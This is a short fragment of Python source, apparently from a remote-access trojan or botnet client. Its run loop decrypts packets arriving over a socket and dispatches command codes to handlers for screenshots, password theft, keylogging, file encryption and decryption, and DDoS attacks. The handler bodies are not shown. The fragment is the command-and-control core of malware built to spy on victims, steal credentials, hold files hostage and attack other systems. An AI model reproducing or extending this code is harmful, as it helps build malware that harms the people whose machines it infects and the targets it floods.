def run(self): threading.Thread(target=self.dequeue).start() while True: pkt = Packet() pkt.construct(self.s) pkt.decryptData(pkt.length,self.key) if pkt.state: if pkt.state == "143": threading.Thread(target=self.screenshot,args=[pkt]).start() elif pkt.state == "144": threading.Thread(target=self.passwords,args=[pkt]).start() elif pkt.state == "145": threading.Thread(target=self.keylog,args=[pkt]).start() elif pkt.state == "146": threading.Thread(target=self.encrypt,args=[pkt]).start() elif pkt.state == "147": threading.Thread(target=self.decrypt,args=[pkt]).start() elif pkt.state == "149": threading.Thread(target=self.ddos,args=[pkt]).start() else: print "i don't know that command"